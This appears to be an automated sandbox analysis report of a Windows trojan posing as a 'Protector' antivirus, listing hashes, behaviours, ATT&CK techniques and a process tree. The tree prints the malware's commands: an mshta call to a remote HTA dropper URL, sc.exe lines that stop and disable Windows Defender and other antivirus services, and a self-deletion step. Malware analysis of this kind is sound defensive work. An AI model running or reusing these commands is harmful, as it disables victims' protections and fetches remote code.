Overview

overview

10

Static

static

3

9334dbb61d...18.exe

windows7-x64

10

9334dbb61d...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-08-2024 13:08

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General

  • Target

    9334dbb61d19ac21c8f10bcda409a0d0_JaffaCakes118.exe

  • Size

    2.0MB

  • MD5

    9334dbb61d19ac21c8f10bcda409a0d0

  • SHA1

    0a6bab38061f1681bdc259690699ffc284970648

  • SHA256

    0a662bd665b49469f488d81912ae84a7a2506e32a89390134cb0f934b4b57361

  • SHA512

    140da6648af9606443db039a0e976fbe327495c665c64c6c35f617c8fcaf7d34e9becc1c3dcbdb5b377811d66959b5c407b749b136597529f406aebc712e2422

  • SSDEEP

    49152:DgqdwTzUCSaogJDhTp7iK7VwgwV64rnB/FFc2ORZRO5b2BHzv:DPwTzX7JDhtFCgcrn5A2gRqb2Nzv

Score
10/10
defense_evasiondiscoveryevasionexecutionpersistencetrojan

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://galaint.coolsecupdate.info/?0=154&1=1&2=1&3=38&4=i&5=9200&6=6&7=2&8=919041&9=1033&10=0&11=0000&12=gtwlyryxwm&14=1

Signatures

  • Disables service(s) 3 TTPs
    evasionexecution
  • UAC bypass 3 TTPs 3 IoCs
    evasiontrojan
  • Disables taskbar notifications via registry modification
    evasion
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Drops file in System32 directory 3 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • System policy modification 1 TTPs 4 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\9334dbb61d19ac21c8f10bcda409a0d0_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\9334dbb61d19ac21c8f10bcda409a0d0_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4276
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\518c95wwvsa0z33.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\518c95wwvsa0z33.exe" -e -prvmk09hu8168k0o
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3868
      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\i9xx8q07h5z9553.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\i9xx8q07h5z9553.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3140
        • C:\Users\Admin\AppData\Roaming\Protector-oyar.exe
          C:\Users\Admin\AppData\Roaming\Protector-oyar.exe
          4⤵
          • UAC bypass
          • Event Triggered Execution: Image File Execution Options Injection
          • Executes dropped EXE
          • Adds Run key to start application
          • Checks whether UAC is enabled
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          • System policy modification
          PID:2332
          • C:\Windows\SysWOW64\mshta.exe
            mshta.exe "http://galaint.coolsecupdate.info/?0=154&1=1&2=1&3=38&4=i&5=9200&6=6&7=2&8=919041&9=1033&10=0&11=0000&12=gtwlyryxwm&14=1"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3244
          • C:\Windows\SysWOW64\sc.exe
            sc stop WinDefend
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1500
          • C:\Windows\SysWOW64\sc.exe
            sc config WinDefend start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:4032
          • C:\Windows\SysWOW64\sc.exe
            sc stop msmpsvc
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:956
          • C:\Windows\SysWOW64\sc.exe
            sc config msmpsvc start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2424
          • C:\Windows\SysWOW64\sc.exe
            sc config ekrn start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2700
          • C:\Windows\SysWOW64\sc.exe
            sc stop AntiVirService
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1708
          • C:\Windows\SysWOW64\sc.exe
            sc config AntiVirService start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:4920
          • C:\Windows\SysWOW64\sc.exe
            sc config AntiVirSchedulerService start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2008
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\I9XX8Q~1.EXE" >> NUL
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

2
T1569

Service Execution

2
T1569.002

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

2
T1543

Windows Service

2
T1543.003

Event Triggered Execution

1
T1546

Image File Execution Options Injection

1
T1546.012

Privilege Escalation

Abuse Elevation Control Mechanism

1
T1548

Bypass User Account Control

1
T1548.002

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

2
T1543

Windows Service

2
T1543.003

Event Triggered Execution

1
T1546

Image File Execution Options Injection

1
T1546.012

Defense Evasion

Abuse Elevation Control Mechanism

1
T1548

Bypass User Account Control

1
T1548.002

Impair Defenses

2
T1562

Disable or Modify Tools

1
T1562.001

Indicator Removal

1
T1070

File Deletion

1
T1070.004

Modify Registry

4
T1112

Credential Access

Discovery

Query Registry

1
T1012

System Information Discovery

3
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

2
T1489

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\518c95wwvsa0z33.exe
    Filesize

    2.0MB

    MD5

    d7618a6a91030ee055eba04dc8c8d06f

    SHA1

    5d80031e752801bc16b8ce794a874c112d5ff33c

    SHA256

    4b3106f9be994add13da28563efd7b7de42518b46e0a04319c99fff6cb130168

    SHA512

    2b7166dd17eb2cc558b274527cb19a43e229f30ded063f44043a2f2107d653cb2902ab11a82f8c0ea2e748ed08ea1a6684b802f912bc9d7feccf0a6b2aeb156c

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\RarSFX1\i9xx8q07h5z9553.exe
    Filesize

    1.9MB

    MD5

    ba349f4dd6cab4d4aead3b761248622a

    SHA1

    4ef652cf103fbdbbfa16a9cc261ba1f3e1c48997

    SHA256

    b6cc9e59ebfd97150c37ed83e7e5d278a3a69384039ff49be9bf9bc3e44e5b2e

    SHA512

    e6a923ef0abc9c55d6aa408f0d67d86db9773b87e5fabcafa2ab6ae87072832f3e45d75d8605141d465bd39c1ecf2fe73da5dffdd34eeb39ffab85ec822f2c7d

    Download Submit

  • memory/2332-65-0x0000000000400000-0x00000000007EA000-memory.dmp

    Filesize

    3.9MB

    Download

  • memory/2332-23-0x0000000000400000-0x00000000007EA000-memory.dmp

    Filesize

    3.9MB

    Download

  • memory/2332-35-0x0000000000400000-0x00000000007EA000-memory.dmp

    Filesize

    3.9MB

    Download

  • memory/2332-66-0x0000000000400000-0x00000000007EA000-memory.dmp

    Filesize

    3.9MB

    Download

  • memory/2332-67-0x0000000000400000-0x00000000007EA000-memory.dmp

    Filesize

    3.9MB

    Download

  • memory/2332-68-0x0000000000400000-0x00000000007EA000-memory.dmp

    Filesize

    3.9MB

    Download

  • memory/2332-70-0x0000000000400000-0x00000000007EA000-memory.dmp

    Filesize

    3.9MB

    Download

  • memory/2332-71-0x0000000000400000-0x00000000007EA000-memory.dmp

    Filesize

    3.9MB

    Download

  • memory/2332-72-0x0000000000400000-0x00000000007EA000-memory.dmp

    Filesize

    3.9MB

    Download

  • memory/2332-73-0x0000000000400000-0x00000000007EA000-memory.dmp

    Filesize

    3.9MB

    Download

  • memory/2332-75-0x0000000000400000-0x00000000007EA000-memory.dmp

    Filesize

    3.9MB

    Download

  • memory/3140-25-0x0000000000400000-0x00000000007EA000-memory.dmp

    Filesize

    3.9MB

    Download

  • memory/3140-18-0x0000000000400000-0x00000000007EA000-memory.dmp

    Filesize

    3.9MB

    Download